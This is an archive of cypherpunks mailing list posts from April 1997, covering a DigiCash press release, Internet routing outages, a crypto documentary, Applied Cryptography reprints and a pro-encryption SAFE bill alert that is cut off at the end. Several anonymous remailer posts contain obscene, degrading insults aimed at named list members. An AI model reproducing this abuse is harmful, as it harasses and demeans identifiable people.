Bob Hettinga




-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 28 Apr 1997 10:10:37 -0700 (PDT)
To: cypherpunks@toad.com
Subject: DigiCash appoints CEO and...
Message-ID: <v03020916af8a8a1ce491@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Mon, 28 Apr 1997 22:39:42 +1000
From: Andreas Furche <andreas@digicash.com>
Reply-To: andreas@digicash.com
MIME-Version: 1.0
To: ica@syd.dit.csiro.au
Subject: DigiCash appoints CEO and...
Sender: e-payments-owner@digicash.com
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  e-payments@lists.commerce.net
+----------------------------------------------------------------------+

DIGICASH APPOINTS CEO, INCREASES OUTSIDE INVESTMENT, AND MOVES
HEADQUARTERS TO CALIFORNIA

MENLO PARK, CA (April 28, 1997) -- DigiCash Inc, a leader and pioneer in
smart card technology and secure and private Internet payments software,
today announced the appointment of Michael Nash as chief executive
officer (CEO) of its worldwide operations.
DigiCash founder, Dr. David Chaum, also announced significant
additional investment that will fuel the company's growth.

Nash will join Dr. Chaum, Nicholas Negroponte, and new investor David
Marquardt of August Capital, on an expanded board that adds new
resources and depth of industry experience to DigiCash.  His primary
mission will be to add business and marketing excellence to the world
class cryptographic expertise and technology that has enabled
development of such cutting edge products as ecash(tm) and OEM smart card
systems, for which DigiCash is recognized throughout the banking and
financial services industry.

"Mike brings a new dimension to DigiCash with his background in the
business of electronic payments and his international marketing
experience with Visa, American Express and the SmartCard Group at
Amdahl," said Dr. Chaum.  "The partnership that we form will take this
company a great step forward and help us grow into a significant force
in the business of electronic commerce."

Nash, who conceived and developed VisaCash, a smart card-based, stored
value payment system, will create an international sales and marketing
strategy for smart cards and ecash(tm), the unique Internet payment system
which offers both security and privacy.
DigiCash is already providing ecash(tm) systems to Deutsche Bank in
Germany, Bank Austria, Advance Bank in Australia, Den norske Bank of
Norway and the Nomura Research Institute in Japan, as well as other
leading banks.

Further expansion in North America, where the company is newly
headquartered, will be a major focus for the new CEO.  Another reason
for the move is to facilitate alliances with firms in the Silicon Valley
area that are pioneering commerce on the Internet.

"Ecash(tm) is at the forefront of a revolution in the way the world does
business," said Nash.  "DigiCash technology offers the security and
privacy that is inherent in traditional bearer instruments such as coins
and bank notes, but with the flexibility and power of the Internet.
This is a great opportunity to shape the new way commerce will be done."

DigiCash interim Chairman Nicholas Negroponte, author of Being Digital,
head of the MIT Media Lab and a member of the Motorola Inc. board is
quoted as saying, "Ecash(tm) is the most exciting thing I've seen in 20
years."  Negroponte is also a general partner of Applied Technology
Investors, one of the firms that is backing DigiCash.

Newly appointed director David Marquardt, General Partner at August
Capital, and previously Technology Ventures Inc. (TVI) was an early
investor in Intuit, Sun Microsystems and Verifone.  He also was the sole
venture investor in Microsoft where he currently serves on their board
of investors.  He too is excited by the possibilities of the technology
that lies at the heart of DigiCash Products, saying, "This is the type
of basic infrastructure that will be essential for the commercial growth
of electronic payments on the Internet."

The target market for ecash(tm) is enormous.  There are more than 20,000
banks and over 10 million retailers around the world that are potential
customers for ecash(tm) transactions, and more than a billion consumers who
want the security, privacy and convenience of electronic coins and
banknotes.  Nash, who has already taken up his appointment with
DigiCash, sees this entire market as an opportunity for his company.  As
well as targeting additional leading banks and other customers in North
America and the Pacific Rim, he has a stated goal of establishing
relationships with leading banks in the G7 nations, a goal which is
already more than half accomplished.

About DigiCash

DigiCash is a private venture capital backed corporation with
headquarters in the United States and offices in The Netherlands,
Australia and Singapore.  Founded by Dr. David Chaum, a luminary in the
field of cryptography and electronic cash technology, the company creates
and markets the most sophisticated software in the world for smart cards
and secure, private Internet payment transactions.

 - end -

EDITORS NOTE: More information on DigiCash and biographies of Michael
Nash and Dr. David Chaum are available from LVA or by accessing the
DigiCash Website at http://www.digicash.com/

DigiCash and ecash are trademarks of DigiCash and should always be
referred to as such.  All other trademarks are the property of their owners.

Contact details:

Netherlands				United States
DigiCash bv				LVA
Toby Chaum				Ian Cheeseman
Ph:		+31 20 665 2611		Ph:		+1 860 739 5598
Fax:		+31 20 665 1126		Fax:		+1 860 691 0353
email:  	press@digicash.com	email: 	icheeseman@mcimail.com
					United Kingdom/Europe
Australia:				LVA UK
DigiCash Pty Ltd			Mike Hardwidge
Andreas Furche				Ph:		+44 181 994 6762
Ph:		+61 2 9375 2316		Fax:		+44 181 995 3050
Fax: 		+61 2 9375 2121		email: 	101765.1155@compuserve.com
email: andreas@digicash.com

--
Andreas Furche					Level 29 The Chifley Tower
Managing Director				2 Chifley Square
DigiCash Pty. Ltd.				Sydney 2000, Australia
e-mail: andreas@digicash.com			ph  +61 2 9375 2316
mobile (0419) 385 569 (NEW number!)		fax +61 2 9375 2121



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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Mon, 28 Apr 1997 13:35:01 -0700 (PDT)
To: Rabid Wombat <wombat@mcfeely.bsfs.org>
Subject: Re: Staale & Elm
In-Reply-To: <Pine.BSF.3.91.970428135040.3380C-100000@mcfeely.bsfs.org>
Message-ID: <Pine.GSO.3.96.970428132857.15019B-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 28 Apr 1997, Rabid Wombat wrote:

> 
> > Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
> > a book on hacking and security that I'm editing, and a number of
> > ordinarily reachable sites were down.  Traceroutes to them showed
> > wierd routing problems, mostly routing 'loops'.
> > 
> 
> Things looked fairly stable Saturday, from my perspective. I'll sniff around.
> Routing loops do sound suspicious. Where were they cropping up?

I found the cause of my problem with connecting.

It seems that those sites have started doing reverse DNS lookups (probably
because of the l0pht hacks).  Reverse DNS is screwed up on my domain, so I
am getting dropped.  (The least people can do when denying addresses from
reverse DNS failure is to give a short message as to why so it can be
fixed, not just drop the connection with no error message.)  The thing
that had me confused about the whole situation is that I was able to get
in on a sporatic basis on one of the machines.

Fixing the problem on my end is going to be a pain.  I have to get it
resolved through two different ISPs to get the gordian dns knot
straightened out.  Blech!

Oh well...  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 28 Apr 1997 12:40:26 -0700 (PDT)
To: Eric Murray <ericm@lne.com>
Subject: Re: Staale & Elm
In-Reply-To: <199704281539.IAA20003@slack.lne.com>
Message-ID: <Pine.BSF.3.91.970428135040.3380C-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



> Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
> a book on hacking and security that I'm editing, and a number of
> ordinarily reachable sites were down.  Traceroutes to them showed
> wierd routing problems, mostly routing 'loops'.
> 

Things looked fairly stable Saturday, from my perspective. I'll sniff around.
Routing loops do sound suspicious. Where were they cropping up?

> 
> I'm not picking on cisco, you missed my point.
> 

No, just ignored it.  :)

Actually, there is a lot of change going on right now affecting network
topology; many ortganizations are migrating away from the basics and are
implementing packet shredders ^H^H^H^H^H^H^H^ ATM, higher speed circuits
than they are accustomed to, running alpha code on production routers out
of necessity (perceived or otherwise), etc. Very hard to "certify"  that
type of environment, but the exponential growth rate of the 'net has
required (or resulted in) some drastic actions. 


> 
> In all other 'infrastructures' (i.e. phone company, roads)
> only officially-sanctioned people are allowed access to work on things.
> With the phone company, it's phone company employees & contractors, with
> the roads its government employees and contractors.  When private
> extensions are added, they're restricted and compartlemtalized so
> that they can't affect the entire infrastructure... a private
> corporate phone switch's misprogramming doesn't bring down Pac Bell.

It's the "and contractors" that is the catch-all here. That includes damn
near everybody these days. Also - the voice system is still primarily a
connection-switched network, not a packet-switched network. Different
animal. Even so, a certain well known long distance providor managed to
bring down local calling across most of the east coast 4 or 5 years ago,
as a result of a software upgrade that didn't. 


> a situation like this is to design more fail-safes into the system to
> prevent a clueless admin or a router with a software error from
> causing so much damage. 

So much damage? There have been far more severe Internet outages. There 
have been far more severe voice network outages, and for far greater 
duration. Amtrak managed to backhoe a major fiber trunk a while back, and 
nailed both voice and data services in the mid-atlantic region rather 
severely, not all that long ago. Friday was a fairly isolated and short 
term problem, unless you were working at Sprint.

As far as engineering solutions go, the route filtering vs. AS_PATH debate
has been going on for a while.  Recent events should add a bit of fuel. 

 But politicians, when faced with the same
> situation, their first reaction is "We gotta have a Law".

True. But it is hard to legislate competence. Perhaps we could start with 
Congress as an experiment.

> My prediction is that if things like this keep happening, the Internet will
> be declared a "defense interest computer system" or something similar,

Like NIPRnet, which was only about 20% functional for most of a day only 
a few weeks back as a result of ATM switch failures?

The Internet is growing far too rapidly to be 100% dependable, at the 
moment, and no measure of legislation will fix this, certainly not in the 
short run. If Uncle Sam needs a reliable, fault-tolerant network, he 
should fix NIPRnet. If he can figure out how to do that (doubtful), maybe 
he'll have a qual when talking about the big picture.

-r.w.
-------------------------------------------
Shit happens.
-------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gary Howland <gary@systemics.com>
Date: Mon, 28 Apr 1997 06:11:50 -0700 (PDT)
To: "Damien Miller" <dmiller@prometheus.projectx.com.au>
Subject: Re: Don Wood -- IPG
In-Reply-To: <9704282112.ZM1406@prometheus.projectx.com.au>
Message-ID: <199704281311.PAA24765@internal-mail.systemics.com>
MIME-Version: 1.0
Content-Type: text/plain


> On Apr 28,  3:36am, William H. Geiger III wrote:
> 
> > >Have you seen what the notorious Don Wood of IPG infamy is up to now? He
> > >has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
> > >won't believe it..
> >
> > After his rants about reusable OTP using PRNG's I doubt anyone is surprised
> > that he is not playing with a full deck. I guess he should have spent more
> > time *IN* Israel and less time in Texas public libraries before writting
> > such drivel.
> 
> I understand now!
> 
> This is the output of said PRNG.

No, I think it is a true RNG!  If we can figure out a way to hook his brain up 
to our key generator ...

Gary





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 17:27:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: MAKE BIG REPUTATION CAPITAL !!!
Message-ID: <199704290027.RAA32708@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello Mr. C. Punk,
  We all get junk email promising instant riches if we send away our 
hard-earned dollars to a total stranger who promises us outrageous 
returns on our investment. So why aren't we all rich beyond our wildest
dreams?
  The answer is simple -- GOVERNMENT INTERFERENCE WITH THE FREE MARKET!

  The Federal Treasury only prints so much hard currency, thus limiting
the amount of available funds for the citizens to invest in Multi-Level
Marketing schemes. Therefore, in the long run, all of these efforts are
doomed to failure.
  Now, however, thanks to the cutting edge technology of Reputation
Capital Enterprises, Inc., all government interference has been bypassed
and citizens such as yourself can now be offered a MLM OPPORTUNITY which
is unlimited in scope.
  Now you can increase your REPUTATION CAPITAL by leaps and bounds, by
simply investing a small portion of it in this UNIQUE OPPORTUNITY, which
is initially being offered to only those few individuals who already 
have a modicum of RC to invest.

  Just listen to what a few select individuals have to say about how
the REPUTATION CAPITAL MULTI-LEVEL MARKETING SCHEME has changed their
lives for the better:

Jim Bell:
  "My reputation capital had sunk so low that even when I was persecuted
by the government, I didn't get any support from my fellow anarchists.
  "They all said I was a fucking 'loon' and tried to distance themselves
from me, so that my problems wouldn't reflect badly on themselves.
  "Now, thanks to the RC MLM SCHEME, my Reputation Capital has increased
to such a degree that the IRS tells me they'll just trust me to file
proper returns in the future, even if I claim large rebates, and my 
fellow cypherpunks are fighting over who will get to provide me with 
free lodging, food, and alcoholic beverages during my visit to the
Bay Area cypherpunks meetings."

Rapid Wombat:
  "It's not easy being a marsupial. When you can't walk upright, people
tend to discount your thoughts and opinions, no matter how well you
present them.
  "Thanks to the RC MLM SCHEME, however, I now have people from around
the world who consult me as to what kind of wine goes with insects and
small larvae."

Dr. Dimitri Vulis KOTM:
  "I was once reviled by all -- my posts were canceled from Usenet, I 
was being unsubscribed from mailing lists, and my ASCII art was sent
to the trash bin without a second thought.
  "Thanks to the RC MLM SCHEME my gratuitous insults are now considered
a badge of honor, and I receive constant requests for digitally signed
ASCII art works, which are now receiving recognition as a reputable art
form.
  "I even receive private email from Gilmore <spit> and Sameer <fart>,
begging me to let them suck my cock."

Tim C. May:
  "Of course, I wrote about this back in the early '50's, before many
of you were even born. That's why I have so goddamn much Reputation
Capital piled up in my basement, next to the boxes of AK-47's.
  "If you took advantage of the RC MLM SCHEME, then you, too, could
write long, rambling posts to the cypherpunks list going on endlessly
about syphlitic philosophers like Nietzsche, and nobody would dare
question whether the post was off-topic."

Kent Crispin:
  "I don't have a brain in my head, and I live in an intellectual ivory
tower where I can comfortably avoid any issues which have to do with
the niggardly details of real life.
  "Thanks to the RC MLM SCHEME, however, my Reputation Capital has 
soared so high that people respond to my posts as if I really had a
brain and my posts contained sufficient content that they were actually
worth replying to."

  ACT TODAY, and you can increase your REPUTATION CAPITAL to the point
where people will take your ideas, no matter how half-baked they are,
seriously, and respond to your posts as if you weren't just another
hopeless loser with too much time on his or her hands, trying
desperately
to act as if your ideas and opinions are worthy of reading, let alone
considering.

  To begin your journey to REPUTATION CAPITAL RICHES, just send an email
to the addresses below, signifying that you consider this person to be
a recognized, hallowed authority on everything under the sun, and some
things that aren't.
  Within days, you will receive a plentiful plethora of pithy
episticles,
deeming you to be a person of consummate reputation, worthy of the 
utmost respect for your ideas and opinions.

#1 - alec@abraxis.com
#2 - aga@dhp.com
#3 - alan@ctrl-alt-del.com

Reputation Monger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 17:35:38 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] BBN
Message-ID: <199704290035.RAA00276@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


If Internet is the `information highway', then Tim 
Mayhem is the roadside litter in the gutter.

      ' ' ' ' 
      ^-O-O-^
   -ooO--U--Ooo- Tim Mayhem





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Sh.Hanabusa" <hanabusa@bnn-net.or.jp>
Date: Mon, 28 Apr 1997 02:14:17 -0700 (PDT)
To: cypherpunks@toad.com
Subject: TV Documentary "Crypto Wars" ON AIR in Japan
Message-ID: <199704280914.SAA12808@Postbox.BNN-Net.OR.JP>
MIME-Version: 1.0
Content-Type: text/plain


TV Documentary "CRYPTO WARS" (60min)
On air at 8pm Apr 28th (only in Japan)

------------------------------------------
Cast;

Sameer Parekh / C2NET
Ian Goldberg
Tim May
Bill Stewart
Hugh Daniel
Vince Cate

Phil Zimmermann / PGP Inc.

Eric Schmidt / Sun Microsystems
Jeff Treuhaft / Netscape Communications

Stewart Baker
Dorothy Denning
William Reinsh / Commerce Dept.
--------------------------------------------

Contents;

What is the cypherpunks?
RSA Conference
US Government's Export Controls
Ian Goldberg's 40bit RC5 crack
What is the NSA?
Feb. Cypherpunks Meeting at Stanford
PGP 1.0
Silicon Valley vs US Government
Strategy of the "C2 Net"
Discussion about "Key Recovery"
Financial Cryptography Conference in Anguilla

----------------------------------------------

Special thanks for your cooperations

   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/
     Shuichiro Hanabusa (hanabusa@bnn-net.or.jp)
     Producer/ Special Programs 
     NHK Enterprises 21 Inc. 
     Location: Tokyo/ Japan
   _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 18:28:20 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Accounts payable
Message-ID: <199704290128.SAA02591@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 28 Apr 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Cc: cypherpunks@toad.com
Subject: Re: Accounts payable
Sender: owner-cypherpunks@sirius.infonex.com
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Here, Timothy C[unt] Mayonnaise descends into total inanity. 
> He should have a cold shower and/or Graham-John Bullers.
> 
>         ///////
>         \-oo-/  Timothy C[unt] Mayonnaise
>          \--/
>           \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Mon, 28 Apr 1997 19:56:14 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ZDNet Special Offer:  PC Tech Forum Discount!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.29987.04281997200005.114470@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


--------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          5/1/97
--------------------------------------------------------------------

PC Week and PC Magazine, co-sponsors of PC Tech Forum, have an 
exclusive offer for ZDNet members: Attend PC Tech Forum on 
May 20- 21 for a *SPECIAL* low rate of $995 - a $200 discount!

What:  PC Tech Forum
Where: Hyatt Regency/San Francisco Airport, Burlingame, California
When:  May 20-21, pre- and post-conference seminars May 19 and 22

PC Tech Forum, hosted by Michael Slater, Founder and Principal 
Analyst of Microprocessor Report and MicroDesign Resource, is your 
chance to get a comprehensive look at the state of the PC 
technology. If you design or market PCs or PC components, make 
major technology adoption decisions, or need to know which 
companies have the best PC technology, PC Tech Forum is for you.

Highlights of the conference:

* Find out where the PC market is headed with presentations from 
Jim Louderback  of PC Week, Robin Raskin of Family PC,and Aaron 
Goldberg of Computer Intelligence.

* Panel discussions with ZD's leading editors, including Michael 
Miller and Bill Howard of PC Magazine, and top industry analysts.

* A hard look at the technologies competing to reduce the total 
cost of PC ownership including Java, NetPCs, and network computers.

* Roadmaps for critical PC technologies like microprocessors, 
memory, diskdrives, and displays.

* Information on PC system architecture issues including PC designs 
using Pentium II plus AGP and key trends in notebook design.

* Intel, Microsoft, and others on the future of 3D and DVD.

* A look ahead to the challenge faced by the traditional PC 
industry from Windows CE, information appliances, game machines,
 and WebTV.

In addition to the two day conference, you can also attend pre 
and post conference seminars on key PC technologies including "CPU 
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"DVD and 3D Technology for the PC".

To register at this special low rate of  $995, please call 
800.527.0288 (US and Canada) or 707.824.4001 (international) 
before May 15 and refer to the source code "PCTFZD".

For complete information on the conference, visit the PC Tech 
Forum website at:

http://www.mdronline.com/pctfnow.

_______________________________________________________________      

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet.

--To subscribe to ZDNet Announcements, please send mail to:
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Powered by Mercury Mail: http://www.merc.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Damien Miller" <dmiller@prometheus.projectx.com.au>
Date: Mon, 28 Apr 1997 04:11:20 -0700 (PDT)
To: "William H. Geiger III" <lrdon@cyberstation.net>
Subject: Re: Don Wood -- IPG
In-Reply-To: <199704280838.DAA08848@mailhub.amaranth.com>
Message-ID: <9704282112.ZM1406@prometheus.projectx.com.au>
MIME-Version: 1.0
Content-Type: text/plain


On Apr 28,  3:36am, William H. Geiger III wrote:

> >Have you seen what the notorious Don Wood of IPG infamy is up to now? He
> >has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
> >won't believe it..
>
> After his rants about reusable OTP using PRNG's I doubt anyone is surprised
> that he is not playing with a full deck. I guess he should have spent more
> time *IN* Israel and less time in Texas public libraries before writting
> such drivel.

I understand now!

This is the output of said PRNG.


Damien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bruce Schneier <schneier@counterpane.com>
Date: Mon, 28 Apr 1997 19:14:51 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Corrected Printing of Applied Cryptography Now Available
Message-ID: <v0300780daf8b0a6abf93@[206.11.192.152]>
MIME-Version: 1.0
Content-Type: text/plain


Wiley has finally published a corrected printing of Applied Cryptography,
2nd ed!!!

They didn't correct everything, only changes that didn't affect page breaks.
Still, I counted over 250 individual corrections.  And under a dozen errors
remaining.  I'm thrilled that they finally did this.

The fifth printing (or greater) is the corrected printing.  To find what
printing you own, turn to page iv (it's opposite the "Contents in Brief"
page).  The last line (under "Printed in the United States of America")
is a series of numbers, counting down from 10.  The lowest number is the
printing.  You have a fifth printing if your last line looks like:

	10 9 8 7 6 5

If you want to buy a fifth printing, you have two options.  One, you can go
to a bookstore and find one.  You can't ask the bookstore to buy a fifth
printing; all he can do is order a copy of the book and hope for the best.
I believe that the fourth printing is sold out (in softcover, at least),
but I cannot be sure.

The other option is to buy it from me.  I have a large supply of fifth
printings that I will sell at the usual 15% discount:

	softcover - $42.00
	hardcover - $59.00

Postage is as follows:

	surface to US - $3.00
	air to US - $5.00
	Canada - $5.00
	surface elsewhere - $5.00

Contact me if you want airmail overseas.  It's expensive.

Cheers,
Bruce

************************************************************************
* Bruce Schneier            2,000,000,000,000,000,000,000,000,002,000,
* Counterpane Systems       000,000,000,000,000,000,002,000,000,002,293
* schneier@counterpane.com  The last prime number...alphabetically!
* (612) 823-1098            Two vigintillion, two undecillion, two
* 101 E Minnehaha Pkwy      trillion, two thousand, two hundred and
* Minneapolis, MN  55419    ninety three.
* http://www.counterpane.com
************************************************************************






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 20:21:50 -0700 (PDT)
To: announce@lists.zdnet.com
Subject: Re: ZDNet Special Offer:  PC Tech Forum Discount!
In-Reply-To: <JOB.3.zd.0.announce.0.text.zdbuild.29987.04281997200005.114470@tahiti.merc.com>
Message-ID: <199704290317.WAA13098@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In
<JOB.3.zd.0.announce.0.text.zdbuild.29987.04281997200005.114470@tahiti.merc.com>,
on 04/28/97 at 08:42 PM,
   announce@lists.zdnet.com said:


>PC Week and PC Magazine, co-sponsors of PC Tech Forum, have an  exclusive
>offer for ZDNet members: Attend PC Tech Forum on 
>May 20- 21 for a *SPECIAL* low rate of $995 - a $200 discount!

WOW!!! Only $995 to hear the Micro$oft Party Line. What A DEAL!!!! I'll be
sending my check out real soon, honest!!

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Dos: Venerable.  Windows: Vulnerable.  OS/2: Viable.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2V3xo9Co1n+aLhhAQHADgP/ZEMAWJPeyHefHjYDXII+BZomiyLYwQWO
Qv8JOIMOZkXiwasxMXZlkleuSbONyYoK9SfNHPC5kxXZ/tdp+OeTEspPQhRAu+E9
jTNlObLVlpU/OP/2oDouMysOhbGegOIyiHndA1WTl5+3FcWpEu+ypn/mOahEowyZ
pKG7w3JhUWA=
=nyQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Mon, 28 Apr 1997 19:25:28 -0700 (PDT)
To: cypherpunks@toad.com
Subject: ALERT: Groups urge passage of pro-crypto legislation (4/28/1997)
Message-ID: <199704290225.WAA25036@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


==============================================================================
  ___  _     _____ ____ _____ _
 / _ \| |   | ____|  _ \_   _| |   THE HOUSE PREPARES TO ENSURE ENCRYPTION
| |_| | |   |  _| | |_) || | | |    AND PRIVACY ON THE INTERNET; SAFE
|  _  | |___| |___|  _ < | | |_|     BILL (HR 695) ABOUT TO BE VOTED ON!
|_| |_|_____|_____|_| \_\|_| (_)               April 28, 1997

                 Do not forward this alert after June 1, 1997.

                        This alert brought to you by:

    Americans for Tax Reform            Center for Democracy and Technology
    Eagle Forum                         EF-Florida
    Electronic Frontier Foundation      Electronic Privacy Information Ctr.
    Voters Telecommunications Watch     Wired Magazine

_____________________________________________________________________________
Table of Contents
      What's Happening Right Now
      What You Can Do To Help Privacy And Security On The Internet
      Background On SAFE (HR 695)
      Why Is This Issue Important To Internet Users?
      About This Alert / Participating Organizations

_____________________________________________________________________________
WHAT'S HAPPENING RIGHT NOW

HOUSE JUDICIARY COMMITTEE TO VOTE ON "SAFE" PRO-INTERNET PRIVACY BILL

The House Judiciary Committee is set to vote on a bill designed to protect
privacy and promote electronic commerce on the Internet as early as the
second week of May.  The SAFE bill will also be considered by a Judiciary
subcommittee this week and is expected to pass without difficulty.

The House Judiciary committee vote on HR695 will mark a critical stage
in the effort to pass real reform of US encryption policy in a way that
protects privacy, promotes electronic commerce, and recognizes the
realities of the global Internet.

Although no bill is perfect, Internet advocates including CDT, EFF,
EPIC, VTW and others, including the Internet Privacy Coalition, have
expressed support for the bill.  Supporters agree that the SAFE bill
holds great promise for enhancing privacy and security on the Internet
and have offered their strong support and suggestions to improve it in
a detailed letter at http://www.privacy.org/ipc/safe_letter.html

Please take a moment to read the attached alert, and make a phone call 
to urge the committee to pass the bill.

_______________________________________________________________________
WHAT YOU CAN DO TO HELP PRIVACY AND SECURITY ON THE INTERNET

1. Check out the information on the SAFE bill below.

2. Call the Representative on the Judiciary committee from your state.  Note
   that there may be more than one person from your state on the committee.
   The list is enclosed below the telephone script.

   SAMPLE SCRIPT
      You:  <dial Capitol switchboard +1.202.224.3121>
            May I speak to the office of Rep. (INSERT NAME FROM LIST BELOW)

      Them: Hello, Rep. Mojo's office!

       You: May I speak with the staffer who deals with Internet or
            telecom issues?

      Them: One minute..

SAY    You: Hello!  HR695 will be voted on by the Judiciary committee in a
THIS->      couple of weeks.  I'm calling to urge Rep. Mojo to pass the
            bill because it's important to security and privacy on the
            Internet.
     
      Them: Thanks, goodbye!

       You: Goodbye! <click>

   If you have concerns about specific improvements to the bill, bringing
   them up when you're on the phone with the staffer is a good opportunity
   for raising issues. 

              Judiciary Committee Members (from committee Web page)

                        MR. HYDE (ILLINOIS), CHAIRMAN
    Mr. Sensenbrenner (Wisconsin)                Mr. Conyers (Michigan)
    Mr. McCollum (Florida)                       Mr. Frank (Massachusetts)
    Mr. Gekas (Pennsylvania)                     Mr. Schumer (New York)
    Mr. Coble (North Carolina)                   Mr. Berman (California)
    Mr. Smith (Texas)                            Mr. Boucher (Virginia)
    Mr. Schiff (New Mexico)                      Mr. Nadler (New York)
    Mr. Gallegly (California)                    Mr. Scott (Virginia)
    Mr. Canady (Florida)                         Mr. Watt (North Carolina)
    Mr. Inglis (South Carolina)                  Ms. Lofgren (California)
    Mr. Goodlatte (Virginia)                     Ms. Jackson Lee (Texas)
    Mr. Buyer (Indiana)                          Ms. Waters (California)
    Mr. Bono (California)                        Mr. Meehan (Massachusetts)
    Mr. Bryant (Tennessee)                       Mr. Delahunt (Massachusetts)
    Mr. Chabot (Ohio)                            Mr. Wexler (Florida)
    Mr. Barr (Georgia)                           Mr. Rothman (New Jersey)
    Mr. Jenkins (Tennessee)                      Mr. Hutchinson (Arkansas)
    Mr. Pease (Indiana)                          Mr. Cannon (Utah)

3. *IMPORTANT* Touch base with us at http://www.crypto.com/feedback/ and
   let us know how the phone call went.  Fill out the easy to use form to
   let us know what happened during your phone call.

4. Pass this alert on to others until June 1

   You've taken the first step to being a part of the powerful political
   force of Americans concerned about the health and safety of the Internet,
   but have your friends?  Forward this alert to them until June 1, 1997
   and urge them to adopt their legislator at http://www.crypto.com/adopt/

5. Be proud of yourself and relax!

   You've done more to protect the Internet in five minutes than many people
   will do this year.
   
________________________________________________________________________
BACKGROUND ON SAFE (HR 695)

In early May, the Judiciary Committee will be voting on whether to send
HR 695, the Security and Freedom Through Encryption (SAFE) Act, on to the
full House of Representatives.

The SAFE Bill, introduced by Reps. Bob Goodlatte (R-VA) and Anna Eshoo
(D-CA), would promote privacy and security on the Internet by:

* relaxing current export controls on encryption technologies;

